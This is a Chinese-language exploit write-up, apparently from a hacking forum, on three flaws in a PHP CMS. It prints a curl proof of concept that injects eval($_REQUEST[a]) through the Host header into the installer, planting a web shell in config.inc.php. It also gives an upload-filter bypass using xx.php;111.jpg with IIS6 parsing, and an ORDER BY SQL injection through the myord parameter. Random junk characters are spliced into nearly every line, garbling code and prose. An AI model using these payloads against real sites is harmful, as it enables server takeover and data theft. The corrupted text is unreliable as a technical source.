注入:
' l0 _( p/ v, F- b
2 L- |& h1 V+ O/ H& v$ Y0 _之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
% W% W: o3 ?" j; t: z4 y% \5 v
' _1 }2 B( i* q; s4 i* O; E鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! s" |7 ^: N, b9 i' b
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
, }$ d5 W7 k# W: |0 X6 A8 J 9 ?4 e( {/ B. x0 z5 |6 Y
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ `) [/ K! m; q* n" i" {- s
3 {6 _* H) V9 `分析: |% P! K- U# i6 U$ d" t# _ ]
4 v s7 a+ \( v) X! @) [4 l7 B
9 A4 Q2 [/ R( _$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤, F8 i% r+ e7 f. C: N' i3 I
! l/ V% V7 X5 a
$filestr = fread(fopen($SysConfigFile, 'r'),30000);1 G* I- O+ W1 j' v
$filestr=str_replace(" ","",$filestr);
4 ~& A S' ?4 c; ?. S; { $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, l& ?/ [! E- F" x# ?
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
; h" Q9 N# C- o5 i $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, ?8 W3 H+ o- O $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);1 d* {# p( \# I0 h
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ o* h9 {( @7 P! M9 B $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
; m! ~8 p' U6 h% A9 m# b $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);7 h; f& X4 ]+ h- ^* m# n; c i* I, X
7 G8 S0 k X' K" J8 Z! ?& ?( Q% K fwrite(fopen($ConFile,"w"),$filestr,30000);" w) ?. B r7 D Q0 c. i
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^$ o6 D3 `# G- }
. @" t* H9 R- }( f3 W6 l7 Q
poc:! X7 G8 Y3 d( _6 `% @
m/ P% ~% Z' R6 I6 P, C3 i' ?- Y9 V?
3 m/ V- r% V6 E5 I8 x* |2 T$ {1
, y2 T" }- G8 f6 i# W+ ^curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* M; U: l( b; k% x: Z
shell地址: /config.inc.php
" d Q& a2 B: K9 }" j5 K$ v跟之前的 phpcms一样 需要远程数据库6 P" ^, j# y4 z% y
9 ]$ }1 y# h* d6 a% f" f& r; C
——————————————————–
" D- O7 h3 S5 `& l6 J上传漏洞(需要进后台):/ X# @; x; W r- R
漏洞文件: /kedit/upload_cgi/upload.php
" T) J8 E* ~* ?8 e0 Q. w这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ @( i0 q, x6 ^
# d& v7 ^4 s% b H
6 j7 [0 ^" g: P$ e% L: q _5 W<?php
, e/ u& j2 D8 _) Q! K$ ~5 t define("ROOTPATH", "../../");
" s$ E6 j, @, h+ G2 p include(ROOTPATH."includes/admin.inc.php");
4 f4 n% Y. F: M, `/ ~9 d NeedAuth(0);. X$ s# R% s8 k5 F
$ }2 q* n) Y; f* C6 c8 W/ W
$dt=date("Ymd",time());( |- a; U: L7 z' V) J# J, n
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ T" [2 z/ O( R( K# z! F @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# Y/ r9 {( I) \; N
}" J7 G d: a8 y4 ~# }5 E$ V3 D
9 ^, a" f3 I* v( D: y' M4 ^
//文件保存目录路径
6 a7 K7 V# t: z l% G9 z! K3 H $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- b; S/ V" r" E) a, B echo $save_path;
6 ^( k/ r/ U7 \4 a //文件保存目录URL! x9 E, d& U+ K* `( l0 o
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
+ p% E7 W; a, v# b $ i# y) l' s k3 E9 G
//定义允许上传的文件扩展名 f) I- f' V8 l9 o9 P1 G$ w. q
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 v0 B/ J6 L* u- F0 d5 }
5 }& {; ]8 O3 X( r
//最大文件大小
: g- {$ k# U! x+ {! F/ k9 _ $max_size = 1000000; o: U# v+ P9 x; E
. F3 P* F& j7 i
//更改目录权限
: J; z+ G7 l% _4 P+ k ^ @mkdir($save_path, 0777);. R' y5 [5 s+ G" w' y! [: ?
' P$ D% O: W2 l# [. Q: X! v //文件的全部路径
0 p/ O# R2 K9 i& B6 P/ {! U- V $file_path = $save_path.$_POST['fileName']; //保存文件名 H) R, Z: G1 s7 P- _3 A
5 X- B' s$ s. l( d! o* U% l
//文件URL
& Y, x5 w* c4 R& y0 C6 P; Y! B# p1 j $file_url = $save_url.$_POST['fileName'];
1 A4 h$ m# y7 Q. v# L# r6 j//有上传文件时+ c: I& ~( j" S; P
if (empty($_FILES) === false) {
* W, s, L7 d$ N! k# H8 Z 7 u+ `5 f: @& v X0 \
//原文件名) ~; U$ f8 R9 l4 w, `8 A6 o
$file_name = $_FILES['fileData']['name'];/ D' y4 d2 X# u0 S1 Q0 z) N. ?$ _
//服务器上临时文件名
0 A, d1 |& C: n6 ~# S% Q, r $tmp_name = $_FILES['fileData']['tmp_name'];
! Y. m( J# T5 g+ Y3 M //文件大小. {3 r) X3 o ^9 }4 e* ?3 Y
$file_size = $_FILES['fileData']['size'];' G9 g% f& S) ~+ r8 Y" A6 f( m
//检查目录, d7 }6 \. [( Y; p+ Z* N5 j/ w) M
if (@is_dir($save_path) === false) {; D" M; ^1 F+ | ~- _/ r% U" E
alert("上传目录不存在。");
+ E F; @+ v# g" M3 ^ }1 b. O: S9 m) {7 W7 ^
//检查目录写权限
% M+ r2 H, v4 ]3 w) o if (@is_writable($save_path) === false) {
4 S9 R( c: M) T* l alert("上传目录没有写权限。");' ~' s1 f8 c! U; {/ \, r
}
" R5 w& y! k! A9 T //检查是否已上传- H% G4 t; e4 R1 W( v5 G* j
if (@is_uploaded_file($tmp_name) === false) {5 R7 {& M* F# c1 C* X) T& T' ]5 Y
alert("临时文件可能不是上传文件。");9 h) T5 s! N4 w8 L
}% t- `4 A* C6 t9 [% n4 Z
//检查文件大小) m4 y& `1 ~! W
if ($file_size > $max_size) {
8 @1 t- {3 d5 m0 y# z' p alert("上传文件大小超过限制。");
8 O6 P" q+ ^9 D }
' i/ z* Z, b8 X //获得文件扩展名
5 W, ~: P1 Z/ {( U7 d* { $temp_arr = explode(".", $_POST['fileName']);$ M4 v$ x4 y7 ` i+ W! P! n {# E
$file_ext = array_pop($temp_arr);6 T4 ?4 ^9 z5 @
$file_ext = trim($file_ext);( i( x8 p2 t) W
$file_ext = strtolower($file_ext);9 c" o% L' Z1 G1 T' v9 D
. X ]% T3 N# y
//检查扩展名 ' |- C- S. E% \! {4 ^/ P
if (in_array($file_ext, $ext_arr) === false) { ) a* e. k7 Z+ n/ @) H! [: k& f
alert("上传文件扩展名是不允许的扩展名。");
& S0 }* J9 H! G4 D" Q# ` }9 _' x d0 P! q- c% \8 f: L
( v$ e! }! A6 a' ^
//移动文件 ( F+ n [* E3 o- T' V+ F
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^3 H9 g( k, o9 o3 x
if (move_uploaded_file($tmp_name, $file_path) === false) {" ^; C( i; @$ n; P
alert("上传文件失败。");
: t) R2 ]* {7 |7 ~( H8 } }# R$ B8 q, n$ r" w& k- K
! d3 c- W- u8 P
@chmod($file_path,0666);
) w* m4 A9 T$ o
) I0 ^% F% x) x5 k4 ~2 [ ?>* l9 \ K) W0 K; S& l' S/ \, R
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
9 `8 }9 c; g7 I- } 0 T/ M+ u, W* n+ E; F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过. Z' R! j- l; c {
2 z9 O }( e$ ]! b+ K* k
——————————————————7 O- v0 b8 p3 Q% S
注入漏洞:
8 L. m" c) D x3 f( O6 d漏洞文件:search/module/search.php8 ^# p7 h, W* L- k
/search/index.php?key=1&myord=1 [sqlinjection]
% R. g2 V! |! t# d8 C& K* A: K8 M 6 |: [. `' G, X
6 U9 O6 O I/ n: [' p' \<?php1 f- \! R$ R3 [3 Y* e1 |) u, j0 J4 V
// ... 省略 n 行...
/ F6 ^0 r0 W# G9 T. O; ~ //第18行:
, ~; R$ L) {/ M $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
! S" U) D9 Q# O! u: R $page=htmlspecialchars($_GET["page"]);
2 n9 p3 b6 |2 f; m' C! |& b2 ~ $myord=htmlspecialchars($_GET["myord"]);2 d! C% `8 n- ~$ b; q$ w, V
" H9 c, N& n) f" _5 [ // ... 省略 n 行...
; Z1 H# z$ n3 M; ?% d% S $key,$myord 两个参数带入查询$ u7 f; q# v/ {
//第47行 $key:
; Q7 W4 p3 y8 y, @ / r0 d3 @/ A. c6 c0 e( ^
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过../ i( B) z1 H4 Y. ]+ ]! g
$ u& R# Y4 ~1 e4 J$ a1 x5 J
//第197行 $myord2 B d- s9 f. s' z; j$ M. o
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% ^3 b3 T W* y' `5 j) o" X
6 A! d' y( `; f" L2 A ?>: r( E4 F. ?6 r" q: K" A4 O2 {
|